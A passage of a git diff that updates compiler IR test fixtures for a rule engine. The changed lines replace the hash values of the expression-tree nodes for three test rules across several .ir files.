1, ty: array, index: 0 }, type_value: array } 4: CONST integer(1) 6: SYMBOL Field { index: 0, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } - 12: FIELD_ACCESS -- hash: 0xca4e7755b9e6b074 - 10: LOOKUP -- hash: 0x15e3054cfa75da5a + 12: FIELD_ACCESS -- hash: 0x3822f6e56d2cff0 + 10: LOOKUP -- hash: 0xb9c8dc4d95866f03 8: SYMBOL Var { var: Var { frame_id: 1, ty: array, index: 0 }, type_value: array } 9: CONST integer(1) 11: SYMBOL Field { index: 3, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } 14: CONST integer(1) - 22: EQ -- hash: 0xf7a23951bfcab6f - 20: FIELD_ACCESS -- hash: 0xbf8a69beb80c0f56 - 18: LOOKUP -- hash: 0x6d297aa5e6b1046e + 22: EQ -- hash: 0x2659daead0b50945 + 20: FIELD_ACCESS -- hash: 0xf8be21d754f82ed1 + 18: LOOKUP -- hash: 0x110f51a681c19918 16: SYMBOL Var { var: Var { frame_id: 1, ty: array, index: 0 }, type_value: array } 17: CONST integer(0) 19: SYMBOL Field { index: 0, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } 21: CONST integer(0) - 29: EQ -- hash: 0xa5c518bd0a362288 - 27: FIELD_ACCESS -- hash: 0x1570d08f55961188 - 25: LOOKUP -- hash: 0x15e3054cfa75da5a + 29: EQ -- hash: 0xbca4d012c2ee805e + 27: FIELD_ACCESS -- hash: 0x4ea488a7f2823103 + 25: LOOKUP -- hash: 0xb9c8dc4d95866f03 23: SYMBOL Var { var: Var { frame_id: 1, ty: array, index: 0 }, type_value: array } 24: CONST integer(1) 26: SYMBOL Field { index: 2, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } diff --git a/lib/src/compiler/ir/tests/testdata/5.hoisting.ir b/lib/src/compiler/ir/tests/testdata/5.hoisting.ir index a49e65c5b..1b818cb35 100644 --- a/lib/src/compiler/ir/tests/testdata/5.hoisting.ir +++ b/lib/src/compiler/ir/tests/testdata/5.hoisting.ir @@ -1,35 +1,35 @@ RULE test_1 - 35: AND -- hash: 0xfb4afd329fb07dc3 - 8: EQ -- hash: 0x496c97e53b61f654 - 6: FIELD_ACCESS -- hash: 0x6af92ddf1af8a3f2 - 4: LOOKUP -- hash: 0xb7e6fdca077aa568 - 2: FIELD_ACCESS -- hash: 0xb93ff31706b0e381 + 35: AND -- hash: 0x40f2250d30f5e05d + 8: EQ -- hash: 0x2bb3653332178578 + 6: FIELD_ACCESS -- hash: 0xc29e4c53f72b679d + 4: LOOKUP -- hash: 0x22797314e0747ac6 + 2: FIELD_ACCESS -- hash: 0xdd88efe5e7ac64dc 0: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 1: SYMBOL Field { index: 49, is_root: false, type_value: array, acl: None, deprecation_notice: None } 3: CONST integer(0) 5: SYMBOL Field { index: 0, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } 7: CONST integer(0) - 17: EQ -- hash: 0xdfb78d0d299b6d6d - 15: FIELD_ACCESS -- hash: 0xc0df94afb482a623 - 13: LOOKUP -- hash: 0x60a088711b3f7b54 - 11: FIELD_ACCESS -- hash: 0xb93ff31706b0e381 + 17: EQ -- hash: 0xc1fe5a5b2050fc91 + 15: FIELD_ACCESS -- hash: 0x1884b32490b569cf + 13: LOOKUP -- hash: 0xcb32fdbbf43950b1 + 11: FIELD_ACCESS -- hash: 0xdd88efe5e7ac64dc 9: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 10: SYMBOL Field { index: 49, is_root: false, type_value: array, acl: None, deprecation_notice: None } 12: CONST integer(1) 14: SYMBOL Field { index: 2, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } 16: CONST integer(1) - 34: EQ -- hash: 0xf94a49164359b744 - 32: ADD -- hash: 0x637f01b98f7ef769 - 24: FIELD_ACCESS -- hash: 0x57244722efe1684a - 22: LOOKUP -- hash: 0x60a088711b3f7b54 - 20: FIELD_ACCESS -- hash: 0xb93ff31706b0e381 + 34: EQ -- hash: 0xd31d4f8ee6270262 + 32: ADD -- hash: 0x561b499dd52a0b48 + 24: FIELD_ACCESS -- hash: 0xaec96597c8142bf5 + 22: LOOKUP -- hash: 0xcb32fdbbf43950b1 + 20: FIELD_ACCESS -- hash: 0xdd88efe5e7ac64dc 18: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 19: SYMBOL Field { index: 49, is_root: false, type_value: array, acl: None, deprecation_notice: None } 21: CONST integer(1) 23: SYMBOL Field { index: 0, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } - 31: FIELD_ACCESS -- hash: 0x75bd3b7618d34510 - 29: LOOKUP -- hash: 0x60a088711b3f7b54 - 27: FIELD_ACCESS -- hash: 0xb93ff31706b0e381 + 31: FIELD_ACCESS -- hash: 0xcd6259eaf50608bb + 29: LOOKUP -- hash: 0xcb32fdbbf43950b1 + 27: FIELD_ACCESS -- hash: 0xdd88efe5e7ac64dc 25: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 26: SYMBOL Field { index: 49, is_root: false, type_value: array, acl: None, deprecation_notice: None } 28: CONST integer(1) @@ -37,37 +37,37 @@ RULE test_1 33: CONST integer(1) RULE test_2 - 35: AND -- hash: 0x467259e49dca9732 - 16: EQ -- hash: 0xf94a49164359b744 - 14: ADD -- hash: 0x637f01b98f7ef769 - 6: FIELD_ACCESS -- hash: 0x57244722efe1684a - 4: LOOKUP -- hash: 0x60a088711b3f7b54 - 2: FIELD_ACCESS -- hash: 0xb93ff31706b0e381 + 35: AND -- hash: 0xe129ce51337b0ad4 + 16: EQ -- hash: 0xd31d4f8ee6270262 + 14: ADD -- hash: 0x561b499dd52a0b48 + 6: FIELD_ACCESS -- hash: 0xaec96597c8142bf5 + 4: LOOKUP -- hash: 0xcb32fdbbf43950b1 + 2: FIELD_ACCESS -- hash: 0xdd88efe5e7ac64dc 0: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 1: SYMBOL Field { index: 49, is_root: false, type_value: array, acl: None, deprecation_notice: None } 3: CONST integer(1) 5: SYMBOL Field { index: 0, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } - 13: FIELD_ACCESS -- hash: 0x75bd3b7618d34510 - 11: LOOKUP -- hash: 0x60a088711b3f7b54 - 9: FIELD_ACCESS -- hash: 0xb93ff31706b0e381 + 13: FIELD_ACCESS -- hash: 0xcd6259eaf50608bb + 11: LOOKUP -- hash: 0xcb32fdbbf43950b1 + 9: FIELD_ACCESS -- hash: 0xdd88efe5e7ac64dc 7: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 8: SYMBOL Field { index: 49, is_root: false, type_value: array, acl: None, deprecation_notice: None } 10: CONST integer(1) 12: SYMBOL Field { index: 3, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } 15: CONST integer(1) - 25: EQ -- hash: 0x496c97e53b61f654 - 23: FIELD_ACCESS -- hash: 0x6af92ddf1af8a3f2 - 21: LOOKUP -- hash: 0xb7e6fdca077aa568 - 19: FIELD_ACCESS -- hash: 0xb93ff31706b0e381 + 25: EQ -- hash: 0x2bb3653332178578 + 23: FIELD_ACCESS -- hash: 0xc29e4c53f72b679d + 21: LOOKUP -- hash: 0x22797314e0747ac6 + 19: FIELD_ACCESS -- hash: 0xdd88efe5e7ac64dc 17: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 18: SYMBOL Field { index: 49, is_root: false, type_value: array, acl: None, deprecation_notice: None } 20: CONST integer(0) 22: SYMBOL Field { index: 0, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } 24: CONST integer(0) - 34: EQ -- hash: 0xdfb78d0d299b6d6d - 32: FIELD_ACCESS -- hash: 0xc0df94afb482a623 - 30: LOOKUP -- hash: 0x60a088711b3f7b54 - 28: FIELD_ACCESS -- hash: 0xb93ff31706b0e381 + 34: EQ -- hash: 0xc1fe5a5b2050fc91 + 32: FIELD_ACCESS -- hash: 0x1884b32490b569cf + 30: LOOKUP -- hash: 0xcb32fdbbf43950b1 + 28: FIELD_ACCESS -- hash: 0xdd88efe5e7ac64dc 26: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 27: SYMBOL Field { index: 49, is_root: false, type_value: array, acl: None, deprecation_notice: None } 29: CONST integer(1) @@ -75,34 +75,34 @@ RULE test_2 33: CONST integer(1) RULE test_3 - 31: WITH -- hash: 0xd12c99d2b9385c31 - 2: FIELD_ACCESS -- hash: 0xb93ff31706b0e381 + 31: WITH -- hash: 0x86dc57fa0e34b0d9 + 2: FIELD_ACCESS -- hash: 0xdd88efe5e7ac64dc 0: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 1: SYMBOL Field { index: 49, is_root: false, type_value: array, acl: None, deprecation_notice: None } - 30: AND -- hash: 0x12dc7234de2063ae - 15: EQ -- hash: 0xe2720d2e43d2dad5 - 13: ADD -- hash: 0x48118390d9d2fbc - 7: FIELD_ACCESS -- hash: 0xabb583028cf4d3ae - 5: LOOKUP -- hash: 0x15e3054cfa75da5a + 30: AND -- hash: 0x292d82663187bd47 + 15: EQ -- hash: 0xf77008e825e74593 + 13: ADD -- hash: 0x19a1c9d297731a8d + 7: FIELD_ACCESS -- hash: 0xe4e93b1b29e0f329 + 5: LOOKUP -- hash: 0xb9c8dc4d95866f03 3: SYMBOL Var { var: Var { frame_id: 1, ty: array, index: 0 }, type_value: array } 4: CONST integer(1) 6: SYMBOL Field { index: 0, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } - 12: FIELD_ACCESS -- hash: 0xca4e7755b9e6b074 - 10: LOOKUP -- hash: 0x15e3054cfa75da5a + 12: FIELD_ACCESS -- hash: 0x3822f6e56d2cff0 + 10: LOOKUP -- hash: 0xb9c8dc4d95866f03 8: SYMBOL Var { var: Var { frame_id: 1, ty: array, index: 0 }, type_value: array } 9: CONST integer(1) 11: SYMBOL Field { index: 3, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } 14: CONST integer(1) - 22: EQ -- hash: 0xf7a23951bfcab6f - 20: FIELD_ACCESS -- hash: 0xbf8a69beb80c0f56 - 18: LOOKUP -- hash: 0x6d297aa5e6b1046e + 22: EQ -- hash: 0x2659daead0b50945 + 20: FIELD_ACCESS -- hash: 0xf8be21d754f82ed1 + 18: LOOKUP -- hash: 0x110f51a681c19918 16: SYMBOL Var { var: Var { frame_id: 1, ty: array, index: 0 }, type_value: array } 17: CONST integer(0) 19: SYMBOL Field { index: 0, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } 21: CONST integer(0) - 29: EQ -- hash: 0xa5c518bd0a362288 - 27: FIELD_ACCESS -- hash: 0x1570d08f55961188 - 25: LOOKUP -- hash: 0x15e3054cfa75da5a + 29: EQ -- hash: 0xbca4d012c2ee805e + 27: FIELD_ACCESS -- hash: 0x4ea488a7f2823103 + 25: LOOKUP -- hash: 0xb9c8dc4d95866f03 23: SYMBOL Var { var: Var { frame_id: 1, ty: array, index: 0 }, type_value: array } 24: CONST integer(1) 26: SYMBOL Field { index: 2, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } diff --git a/lib/src/compiler/ir/tests/testdata/5.ir b/lib/src/compiler/ir/tests/testdata/5.ir index a49e65c5b..1b818cb35 100644 --- a/lib/src/compiler/ir/tests/testdata/5.ir +++ b/lib/src/compiler/ir/tests/testdata/5.ir @@ -1,35 +1,35 @@ RULE test_1 - 35: AND -- hash: 0xfb4afd329fb07dc3 - 8: EQ -- hash: 0x496c97e53b61f654 - 6: FIELD_ACCESS -- hash: 0x6af92ddf1af8a3f2 - 4: LOOKUP -- hash: 0xb7e6fdca077aa568 - 2: FIELD_ACCESS -- hash: 0xb93ff31706b0e381 + 35: AND -- hash: 0x40f2250d30f5e05d + 8: EQ -- hash: 0x2bb3653332178578 + 6: FIELD_ACCESS -- hash: 0xc29e4c53f72b679d + 4: LOOKUP -- hash: 0x22797314e0747ac6 + 2: FIELD_ACCESS -- hash: 0xdd88efe5e7ac64dc 0: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 1: SYMBOL Field { index: 49, is_root: false, type_value: array, acl: None, deprecation_notice: None } 3: CONST integer(0) 5: SYMBOL Field { index: 0, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } 7: CONST integer(0) - 17: EQ -- hash: 0xdfb78d0d299b6d6d - 15: FIELD_ACCESS -- hash: 0xc0df94afb482a623 - 13: LOOKUP -- hash: 0x60a088711b3f7b54 - 11: FIELD_ACCESS -- hash: 0xb93ff31706b0e381 + 17: EQ -- hash: 0xc1fe5a5b2050fc91 + 15: FIELD_ACCESS -- hash: 0x1884b32490b569cf + 13: LOOKUP -- hash: 0xcb32fdbbf43950b1 + 11: FIELD_ACCESS -- hash: 0xdd88efe5e7ac64dc 9: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 10: SYMBOL Field { index: 49, is_root: false, type_value: array, acl: None, deprecation_notice: None } 12: CONST integer(1) 14: SYMBOL Field { index: 2, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } 16: CONST integer(1) - 34: EQ -- hash: 0xf94a49164359b744 - 32: ADD -- hash: 0x637f01b98f7ef769 - 24: FIELD_ACCESS -- hash: 0x57244722efe1684a - 22: LOOKUP -- hash: 0x60a088711b3f7b54 - 20: FIELD_ACCESS -- hash: 0xb93ff31706b0e381 + 34: EQ -- hash: 0xd31d4f8ee6270262 + 32: ADD -- hash: 0x561b499dd52a0b48 + 24: FIELD_ACCESS -- hash: 0xaec96597c8142bf5 + 22: LOOKUP -- hash: 0xcb32fdbbf43950b1 + 20: FIELD_ACCESS -- hash: 0xdd88efe5e7ac64dc 18: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 19: SYMBOL Field { index: 49, is_root: false, type_value: array, acl: None, deprecation_notice: None } 21: CONST integer(1) 23: SYMBOL Field { index: 0, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } - 31: FIELD_ACCESS -- hash: 0x75bd3b7618d34510 - 29: LOOKUP -- hash: 0x60a088711b3f7b54 - 27: FIELD_ACCESS -- hash: 0xb93ff31706b0e381 + 31: FIELD_ACCESS -- hash: 0xcd6259eaf50608bb + 29: LOOKUP -- hash: 0xcb32fdbbf43950b1 + 27: FIELD_ACCESS -- hash: 0xdd88efe5e7ac64dc 25: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 26: SYMBOL Field { index: 49, is_root: false, type_value: array, acl: None, deprecation_notice: None } 28: CONST integer(1) @@ -37,37 +37,37 @@ RULE test_1 33: CONST integer(1) RULE test_2 - 35: AND -- hash: 0x467259e49dca9732 - 16: EQ -- hash: 0xf94a49164359b744 - 14: ADD -- hash: 0x637f01b98f7ef769 - 6: FIELD_ACCESS -- hash: 0x57244722efe1684a - 4: LOOKUP -- hash: 0x60a088711b3f7b54 - 2: FIELD_ACCESS -- hash: 0xb93ff31706b0e381 + 35: AND -- hash: 0xe129ce51337b0ad4 + 16: EQ -- hash: 0xd31d4f8ee6270262 + 14: ADD -- hash: 0x561b499dd52a0b48 + 6: FIELD_ACCESS -- hash: 0xaec96597c8142bf5 + 4: LOOKUP -- hash: 0xcb32fdbbf43950b1 + 2: FIELD_ACCESS -- hash: 0xdd88efe5e7ac64dc 0: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 1: SYMBOL Field { index: 49, is_root: false, type_value: array, acl: None, deprecation_notice: None } 3: CONST integer(1) 5: SYMBOL Field { index: 0, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } - 13: FIELD_ACCESS -- hash: 0x75bd3b7618d34510 - 11: LOOKUP -- hash: 0x60a088711b3f7b54 - 9: FIELD_ACCESS -- hash: 0xb93ff31706b0e381 + 13: FIELD_ACCESS -- hash: 0xcd6259eaf50608bb + 11: LOOKUP -- hash: 0xcb32fdbbf43950b1 + 9: FIELD_ACCESS -- hash: 0xdd88efe5e7ac64dc 7: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 8: SYMBOL Field { index: 49, is_root: false, type_value: array, acl: None, deprecation_notice: None } 10: CONST integer(1) 12: SYMBOL Field { index: 3, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } 15: CONST integer(1) - 25: EQ -- hash: 0x496c97e53b61f654 - 23: FIELD_ACCESS -- hash: 0x6af92ddf1af8a3f2 - 21: LOOKUP -- hash: 0xb7e6fdca077aa568 - 19: FIELD_ACCESS -- hash: 0xb93ff31706b0e381 + 25: EQ -- hash: 0x2bb3653332178578 + 23: FIELD_ACCESS -- hash: 0xc29e4c53f72b679d + 21: LOOKUP -- hash: 0x22797314e0747ac6 + 19: FIELD_ACCESS -- hash: 0xdd88efe5e7ac64dc 17: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 18: SYMBOL Field { index: 49, is_root: false, type_value: array, acl: None, deprecation_notice: None } 20: CONST integer(0) 22: SYMBOL Field { index: 0, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } 24: CONST integer(0) - 34: EQ -- hash: 0xdfb78d0d299b6d6d - 32: FIELD_ACCESS -- hash: 0xc0df94afb482a623 - 30: LOOKUP -- hash: 0x60a088711b3f7b54 - 28: FIELD_ACCESS -- hash: 0xb93ff31706b0e381 + 34: EQ -- hash: 0xc1fe5a5b2050fc91 + 32: FIELD_ACCESS -- hash: 0x1884b32490b569cf + 30: LOOKUP -- hash: 0xcb32fdbbf43950b1 + 28: FIELD_ACCESS -- hash: 0xdd88efe5e7ac64dc 26: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 27: SYMBOL Field { index: 49, is_root: false, type_value: array, acl: None, deprecation_notice: None } 29: CONST integer(1) @@ -75,34 +75,34 @@ RULE test_2 33: CONST integer(1) RULE test_3 - 31: WITH -- hash: 0xd12c99d2b9385c31 - 2: FIELD_ACCESS -- hash: 0xb93ff31706b0e381 + 31: WITH -- hash: 0x86dc57fa0e34b0d9 + 2: FIELD_ACCESS -- hash: 0xdd88efe5e7ac64dc 0: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 1: SYMBOL Field { index: 49, is_root: false, type_value: array, acl: None, deprecation_notice: None } - 30: AND -- hash: 0x12dc7234de2063ae - 15: EQ -- hash: 0xe2720d2e43d2dad5 - 13: ADD -- hash: 0x48118390d9d2fbc - 7: FIELD_ACCESS -- hash: 0xabb583028cf4d3ae - 5: LOOKUP -- hash: 0x15e3054cfa75da5a + 30: AND -- hash: 0x292d82663187bd47 + 15: EQ -- hash: 0xf77008e825e74593 + 13: ADD -- hash: 0x19a1c9d297731a8d + 7: FIELD_ACCESS -- hash: 0xe4e93b1b29e0f329 + 5: LOOKUP -- hash: 0xb9c8dc4d95866f03 3: SYMBOL Var { var: Var { frame_id: 1, ty: array, index: 0 }, type_value: array } 4: CONST integer(1) 6: SYMBOL Field { index: 0, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } - 12: FIELD_ACCESS -- hash: 0xca4e7755b9e6b074 - 10: LOOKUP -- hash: 0x15e3054cfa75da5a + 12: FIELD_ACCESS -- hash: 0x3822f6e56d2cff0 + 10: LOOKUP -- hash: 0xb9c8dc4d95866f03 8: SYMBOL Var { var: Var { frame_id: 1, ty: array, index: 0 }, type_value: array } 9: CONST integer(1) 11: SYMBOL Field { index: 3, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } 14: CONST integer(1) - 22: EQ -- hash: 0xf7a23951bfcab6f - 20: FIELD_ACCESS -- hash: 0xbf8a69beb80c0f56 - 18: LOOKUP -- hash: 0x6d297aa5e6b1046e + 22: EQ -- hash: 0x2659daead0b50945 + 20: FIELD_ACCESS -- hash: 0xf8be21d754f82ed1 + 18: LOOKUP -- hash: 0x110f51a681c19918 16: SYMBOL Var { var: Var { frame_id: 1, ty: array, index: 0 }, type_value: array } 17: CONST integer(0) 19: SYMBOL Field { index: 0, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } 21: CONST integer(0) - 29: EQ -- hash: 0xa5c518bd0a362288 - 27: FIELD_ACCESS -- hash: 0x1570d08f55961188 - 25: LOOKUP -- hash: 0x15e3054cfa75da5a + 29: EQ -- hash: 0xbca4d012c2ee805e + 27: FIELD_ACCESS -- hash: 0x4ea488a7f2823103 + 25: LOOKUP -- hash: 0xb9c8dc4d95866f03 23: SYMBOL Var { var: Var { frame_id: 1, ty: array, index: 0 }, type_value: array } 24: CONST integer(1) 26: SYMBOL Field { index: 2, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } diff --git a/lib/src/compiler/ir/tests/testdata/5.no-folding.ir b/lib/src/compiler/ir/tests/testdata/5.no-folding.ir index c4bfd7764..1b818cb35 100644 --- a/lib/src/compiler/ir/tests/testdata/5.no-folding.ir +++ b/lib/src/compiler/ir/tests/testdata/5.no-folding.ir @@ -1,35 +1,35 @@ RULE test_1 - 35: AND -- hash: 0xbcd64d309e20ba14 - 8: EQ -- hash: 0x286081a5404b9efc - 6: FIELD_ACCESS -- hash: 0x6e1d853ba34b7fe2 - 4: LOOKUP -- hash: 0x716c67a247de6940 - 2: FIELD_ACCESS -- hash: 0x54b6d37d2b917356 + 35: AND -- hash: 0x40f2250d30f5e05d + 8: EQ -- hash: 0x2bb3653332178578 + 6: FIELD_ACCESS -- hash: 0xc29e4c53f72b679d + 4: LOOKUP -- hash: 0x22797314e0747ac6 + 2: FIELD_ACCESS -- hash: 0xdd88efe5e7ac64dc 0: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 1: SYMBOL Field { index: 49, is_root: false, type_value: array, acl: None, deprecation_notice: None } 3: CONST integer(0) 5: SYMBOL Field { index: 0, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } 7: CONST integer(0) - 17: EQ -- hash: 0xbeab76cd32851615 - 15: FIELD_ACCESS -- hash: 0xc403ec0c3cd58213 - 13: LOOKUP -- hash: 0x1a25f2495ba33f2c - 11: FIELD_ACCESS -- hash: 0x54b6d37d2b917356 + 17: EQ -- hash: 0xc1fe5a5b2050fc91 + 15: FIELD_ACCESS -- hash: 0x1884b32490b569cf + 13: LOOKUP -- hash: 0xcb32fdbbf43950b1 + 11: FIELD_ACCESS -- hash: 0xdd88efe5e7ac64dc 9: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 10: SYMBOL Field { index: 49, is_root: false, type_value: array, acl: None, deprecation_notice: None } 12: CONST integer(1) 14: SYMBOL Field { index: 2, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } 16: CONST integer(1) - 34: EQ -- hash: 0xfe0bc6da31a3fab2 - 32: ADD -- hash: 0x83a5e6847eb7227e - 24: FIELD_ACCESS -- hash: 0x5a489e7f7434443a - 22: LOOKUP -- hash: 0x1a25f2495ba33f2c - 20: FIELD_ACCESS -- hash: 0x54b6d37d2b917356 + 34: EQ -- hash: 0xd31d4f8ee6270262 + 32: ADD -- hash: 0x561b499dd52a0b48 + 24: FIELD_ACCESS -- hash: 0xaec96597c8142bf5 + 22: LOOKUP -- hash: 0xcb32fdbbf43950b1 + 20: FIELD_ACCESS -- hash: 0xdd88efe5e7ac64dc 18: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 19: SYMBOL Field { index: 49, is_root: false, type_value: array, acl: None, deprecation_notice: None } 21: CONST integer(1) 23: SYMBOL Field { index: 0, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } - 31: FIELD_ACCESS -- hash: 0x78e192d2a1262100 - 29: LOOKUP -- hash: 0x1a25f2495ba33f2c - 27: FIELD_ACCESS -- hash: 0x54b6d37d2b917356 + 31: FIELD_ACCESS -- hash: 0xcd6259eaf50608bb + 29: LOOKUP -- hash: 0xcb32fdbbf43950b1 + 27: FIELD_ACCESS -- hash: 0xdd88efe5e7ac64dc 25: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 26: SYMBOL Field { index: 49, is_root: false, type_value: array, acl: None, deprecation_notice: None } 28: CONST integer(1) @@ -37,37 +37,37 @@ RULE test_1 33: CONST integer(1) RULE test_2 - 35: AND -- hash: 0xa9652719fe3b73e - 16: EQ -- hash: 0xfe0bc6da31a3fab2 - 14: ADD -- hash: 0x83a5e6847eb7227e - 6: FIELD_ACCESS -- hash: 0x5a489e7f7434443a - 4: LOOKUP -- hash: 0x1a25f2495ba33f2c - 2: FIELD_ACCESS -- hash: 0x54b6d37d2b917356 + 35: AND -- hash: 0xe129ce51337b0ad4 + 16: EQ -- hash: 0xd31d4f8ee6270262 + 14: ADD -- hash: 0x561b499dd52a0b48 + 6: FIELD_ACCESS -- hash: 0xaec96597c8142bf5 + 4: LOOKUP -- hash: 0xcb32fdbbf43950b1 + 2: FIELD_ACCESS -- hash: 0xdd88efe5e7ac64dc 0: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 1: SYMBOL Field { index: 49, is_root: false, type_value: array, acl: None, deprecation_notice: None } 3: CONST integer(1) 5: SYMBOL Field { index: 0, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } - 13: FIELD_ACCESS -- hash: 0x78e192d2a1262100 - 11: LOOKUP -- hash: 0x1a25f2495ba33f2c - 9: FIELD_ACCESS -- hash: 0x54b6d37d2b917356 + 13: FIELD_ACCESS -- hash: 0xcd6259eaf50608bb + 11: LOOKUP -- hash: 0xcb32fdbbf43950b1 + 9: FIELD_ACCESS -- hash: 0xdd88efe5e7ac64dc 7: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 8: SYMBOL Field { index: 49, is_root: false, type_value: array, acl: None, deprecation_notice: None } 10: CONST integer(1) 12: SYMBOL Field { index: 3, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } 15: CONST integer(1) - 25: EQ -- hash: 0x286081a5404b9efc - 23: FIELD_ACCESS -- hash: 0x6e1d853ba34b7fe2 - 21: LOOKUP -- hash: 0x716c67a247de6940 - 19: FIELD_ACCESS -- hash: 0x54b6d37d2b917356 + 25: EQ -- hash: 0x2bb3653332178578 + 23: FIELD_ACCESS -- hash: 0xc29e4c53f72b679d + 21: LOOKUP -- hash: 0x22797314e0747ac6 + 19: FIELD_ACCESS -- hash: 0xdd88efe5e7ac64dc 17: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 18: SYMBOL Field { index: 49, is_root: false, type_value: array, acl: None, deprecation_notice: None } 20: CONST integer(0) 22: SYMBOL Field { index: 0, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } 24: CONST integer(0) - 34: EQ -- hash: 0xbeab76cd32851615 - 32: FIELD_ACCESS -- hash: 0xc403ec0c3cd58213 - 30: LOOKUP -- hash: 0x1a25f2495ba33f2c - 28: FIELD_ACCESS -- hash: 0x54b6d37d2b917356 + 34: EQ -- hash: 0xc1fe5a5b2050fc91 + 32: FIELD_ACCESS -- hash: 0x1884b32490b569cf + 30: LOOKUP -- hash: 0xcb32fdbbf43950b1 + 28: FIELD_ACCESS -- hash: 0xdd88efe5e7ac64dc 26: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 27: SYMBOL Field { index: 49, is_root: false, type_value: array, acl: None, deprecation_notice: None } 29: CONST integer(1) @@ -75,34 +75,34 @@ RULE test_2 33: CONST integer(1) RULE test_3 - 31: WITH -- hash: 0x1caad377fac14cec - 2: FIELD_ACCESS -- hash: 0x54b6d37d2b917356 + 31: WITH -- hash: 0x86dc57fa0e34b0d9 + 2: FIELD_ACCESS -- hash: 0xdd88efe5e7ac64dc 0: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 1: SYMBOL Field { index: 49, is_root: false, type_value: array, acl: None, deprecation_notice: None } - 30: AND -- hash: 0x32468198de5bf3ca - 15: EQ -- hash: 0xb7083bd21650136 - 13: ADD -- hash: 0xb37bf5c5eec49e0b - 7: FIELD_ACCESS -- hash: 0xb2a8072a9f308424 - 5: LOOKUP -- hash: 0x483e02ee8116c648 + 30: AND -- hash: 0x292d82663187bd47 + 15: EQ -- hash: 0xf77008e825e74593 + 13: ADD -- hash: 0x19a1c9d297731a8d + 7: FIELD_ACCESS -- hash: 0xe4e93b1b29e0f329 + 5: LOOKUP -- hash: 0xb9c8dc4d95866f03 3: SYMBOL Var { var: Var { frame_id: 1, ty: array, index: 0 }, type_value: array } 4: CONST integer(1) 6: SYMBOL Field { index: 0, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } - 12: FIELD_ACCESS -- hash: 0xd140fb7dc82260ea - 10: LOOKUP -- hash: 0x483e02ee8116c648 + 12: FIELD_ACCESS -- hash: 0x3822f6e56d2cff0 + 10: LOOKUP -- hash: 0xb9c8dc4d95866f03 8: SYMBOL Var { var: Var { frame_id: 1, ty: array, index: 0 }, type_value: array } 9: CONST integer(1) 11: SYMBOL Field { index: 3, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } 14: CONST integer(1) - 22: EQ -- hash: 0xa7daf0142925fa40 - 20: FIELD_ACCESS -- hash: 0xc67cede6ca47bfcc - 18: LOOKUP -- hash: 0x9f8478476d51f05c + 22: EQ -- hash: 0x2659daead0b50945 + 20: FIELD_ACCESS -- hash: 